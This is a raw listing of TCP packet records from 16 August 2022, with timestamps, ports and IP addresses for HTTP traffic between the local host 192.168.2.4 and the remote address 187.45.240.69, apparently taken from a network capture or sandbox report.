Aug 16, 2022 11:06:10.200490952 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200495005 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200516939 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200520039 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200544119 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200567961 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200567961 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200576067 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200582981 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200597048 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200623035 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200623035 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200644016 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200650930 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200673103 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200711966 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200769901 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200817108 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200843096 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200885057 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200892925 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200911045 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200936079 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200958967 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200972080 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201023102 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201190948 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201231956 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201267958 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201278925 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201284885 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201313019 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201339006 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201340914 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201354980 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201364040 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201414108 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201648951 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201677084 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201728106 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201738119 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201771021 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201788902 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201838017 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201863050 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201886892 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201888084 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201910019 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201910973 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201936960 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201941013 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201953888 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201960087 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.201976061 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.201987028 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.202008963 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.202012062 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.202028036 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.202037096 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.202064037 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.202069998 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.202089071 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.202104092 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.202217102 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.202243090 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.202291965 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.202397108 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203432083 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203507900 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.203627110 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203653097 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203675032 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203694105 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203712940 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.203739882 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.203763008 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.203850985 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203876019 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203898907 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203922987 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203928947 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.203948021 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203953981 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.203969002 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203984976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.203985929 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.203999043 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.204015970 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.204030991 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.205261946 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.317986012 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.318728924 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.321958065 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.446939945 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.446974993 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.446990013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.447055101 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.447094917 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.449379921 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.538033009 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538077116 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538104057 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538145065 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538170099 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.538217068 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.538218021 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538244963 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538305998 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.538320065 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538345098 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538397074 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.538460970 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538482904 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.538512945 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.538549900 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.545834064 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691193104 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691251040 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691287994 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691320896 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691329956 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691380024 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691396952 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691443920 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691456079 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691467047 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691474915 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691504955 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691513062 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691533089 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691545963 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691564083 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691574097 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691592932 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691612005 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691617012 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.691626072 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691653967 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.691670895 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.693674088 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.762196064 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.762271881 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.762315989 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.762360096 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.762376070 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.762393951 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.762402058 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.762407064 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.762453079 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.767604113 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.935607910 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935642004 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935662031 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935678959 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935695887 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935712099 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.935750008 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.935760975 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935781002 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935877085 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935895920 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935913086 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935926914 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.935929060 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935946941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935986042 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.935986996 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.935993910 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.935998917 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.936003923 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.936006069 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.936014891 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.936041117 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.936114073 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.936130047 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.936193943 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.942634106 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.988399982 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.988455057 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.988506079 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.988532066 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.990430117 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.185687065 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.185755014 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.185791016 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.185852051 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.185920954 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.188647985 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.210604906 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.210668087 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.210783958 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.215636015 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431169033 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431261063 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431307077 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431327105 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431337118 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431418896 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431421041 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431483030 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431543112 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431545019 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431607008 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431665897 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431668043 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431727886 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431751966 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431793928 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431797028 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431854010 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431916952 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.431917906 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.431978941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.432039022 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.432041883 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.432105064 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.432164907 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.432182074 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.432317019 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.434746027 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.434827089 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.434895039 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.434920073 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.434937000 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.434978962 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.434979916 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.434998035 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.435020924 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.435040951 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.435062885 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.435081959 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.435157061 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.435751915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.439332008 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.658195019 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.658263922 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.658296108 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.658440113 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.658477068 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.677648067 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.677697897 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.677742004 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.677783966 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.677822113 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.677843094 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.677861929 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.677891970 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.677910089 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.677948952 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.677953005 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678006887 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678010941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678057909 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678101063 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678117037 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678143978 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678183079 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678206921 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678237915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678239107 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678282976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678323030 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678337097 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678364038 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678375959 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678404093 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678446054 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678457022 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678488016 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678518057 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678548098 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678590059 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678596020 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678623915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678641081 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678679943 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678683043 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678723097 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678735971 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678776026 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678778887 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678824902 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678828955 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678879976 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678883076 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678926945 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678932905 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.678968906 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.678978920 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.679023027 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679079056 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679081917 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.679121017 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679161072 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679172039 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.679214954 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679260015 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679271936 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.679302931 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679332972 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679393053 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679410934 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.679445028 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.679451942 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:11.679563999 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.858120918 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:11.859174013 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.077940941 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.078036070 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.078111887 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.078234911 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.078269958 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.100059986 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100110054 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100146055 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100183010 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100220919 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100255013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100292921 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.100343943 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100353956 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.100457907 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100490093 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.100529909 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.100542068 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.147008896 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.147330999 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362127066 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362219095 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362287998 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362363100 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:12.362381935 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:12.362426996 CEST	80	49796	187.45.240.69	192.168.2.4
